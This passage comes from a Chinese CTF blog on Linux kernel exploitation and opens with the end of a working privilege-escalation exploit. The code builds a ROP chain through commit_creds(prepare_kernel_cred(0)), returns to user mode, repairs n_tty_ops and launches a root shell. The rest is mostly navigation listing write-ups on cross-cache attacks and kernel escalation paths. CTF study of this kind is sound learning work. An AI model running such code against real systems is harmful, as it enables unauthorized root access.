    xchg_rax_rdi_ret = XCHG_RAX_RDI_RET + kernel_offset;
    commit_creds = COMMIT_CREDS + kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset + 0xa; //  pop r11; pop r10; ...
    // add_rsp_0xc8_ret will pivot the stack to pt_regs
    __asm__(
        "mov r15,   pop_rdi_ret;"
        "xor r14,   r14;"
        "mov r13,   prepare_kernel_cred;"
        "mov r12,   xchg_rax_rdi_ret;"
        "mov rbp,   commit_creds;"
        "mov rbx,   swapgs_restore_regs_and_return_to_usermode;"
        //"mov r11,   0x66666666;"
        //"mov r10,   0x77777777;"
        //"mov r9,    0x88888888;"
        //"mov r8,    0x99999999;"
        "xor rax,   rax;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   0x8;"
        "mov rsi,   rsp;"
        "xor rdi,   rdi;"
        "syscall"
    );
    /* the rop chain is:
    pop_rdi_ret;
    0;
    prepare_kernel_cred;
    xchg_rax_rdi_ret; // let the return value of prepare_kernel_cred be in rdi
    commit_creds; commit_creds(ret of prepare_kernel_cred);
    swapgs_restore_regs_and_return_to_usermode;
    padding...
    user_shell_addr
    user_cs
    user_rflags
    user_sp
    user_ss
    */

    if (!getuid())
    {
        puts("[+] Now we are root!");
    }
    else
    {
        puts("Failed wtf?!");
        exit(1);
    }

    // repair n_tty_ops
    puts("[*] Repairing n_tty_ops...");
    data.user_buf[4] = N_TTY_READ + kernel_offset;
    xkEdit(dev_fd[2], &data);
    puts("[+] Root shell spwaned!");
    system("/bin/sh");

    return 0;
}

最好全部用全局变量。笔者原先定义xkData为局部变量，但是在data.user_buf[4] = N_TTY_READ + kernel_offset;这一句 segmentation fault 了，暂时没有探究具体原理。在写exp时也是因为这个问题多花了几十分钟。

BeaCox's Blog

从 Cache of Castaways 学 cross-cache

题目分析 #

页、slab、cache 的关系 #

order 是什么 #

一页装几个对象 #

通用 cache 与专用 cache #

pcp 与 LIFO #

migratetype：为什么喷页用内核对象而不是 mmap #

为什么只能 cross-cache #

cross-cache 的原理 #

页风水 #

受害者：cred #

完整利用 #

方法二：cross-cache UAF / 页复用（本题没用到） #

原语不同：UAF，而不是 OOB #

难点：怎么让整张 slab 掉回 buddy #

buddy 性质不同：要的是「同页 LIFO 复用」，不是「相邻」 #

拿到类型混淆之后 #

防御措施 #

参考资料 #

Kernel 提权路径总结

任意地址写（AAW） #

modprobe_path #

非法文件 #

AF_ALG socket #

未知协议 socket #

n_tty_ops #

cred #

tcp_prot #

core_pattern #

hijack prctl #

vDSO（过时） #

seq_operations 等非静态定义结构体 #

任意文件写 #

ROP #

返回用户态 #

栈迁移 #

pt_regs #

利用 tcp_prot 的 rcx #

RetSpill #

参考资料 #

从 RWCTF2022 Digging into kernel 1 & 2 学内核提权方法

题目分析 #

前置知识 #

调试 #

利用 #

解法1 modprobe_path #

解法2 修改子进程的 cred #

解法3 劫持 n_tty_ops #

参考资料 #

题目分析
#

页、slab、cache 的关系
#

order 是什么
#

一页装几个对象
#

通用 cache 与专用 cache
#

pcp 与 LIFO
#

migratetype：为什么喷页用内核对象而不是 mmap
#

为什么只能 cross-cache
#

cross-cache 的原理
#

页风水
#

受害者：cred
#

完整利用
#

方法二：cross-cache UAF / 页复用（本题没用到）
#

原语不同：UAF，而不是 OOB
#

难点：怎么让整张 slab 掉回 buddy
#

buddy 性质不同：要的是「同页 LIFO 复用」，不是「相邻」
#

拿到类型混淆之后
#

防御措施
#

参考资料
#

任意地址写（AAW）
#

modprobe_path
#

非法文件
#

AF_ALG socket
#

未知协议 socket
#

n_tty_ops
#

cred
#

tcp_prot
#

core_pattern
#

hijack prctl
#

vDSO（过时）
#

seq_operations 等非静态定义结构体
#

任意文件写
#

ROP
#

返回用户态
#

栈迁移
#

pt_regs
#

利用 tcp_prot 的 rcx
#

RetSpill
#

参考资料
#

题目分析
#

前置知识
#

调试
#

利用
#

解法1 modprobe_path
#

解法2 修改子进程的 cred
#

解法3 劫持 n_tty_ops
#

参考资料
#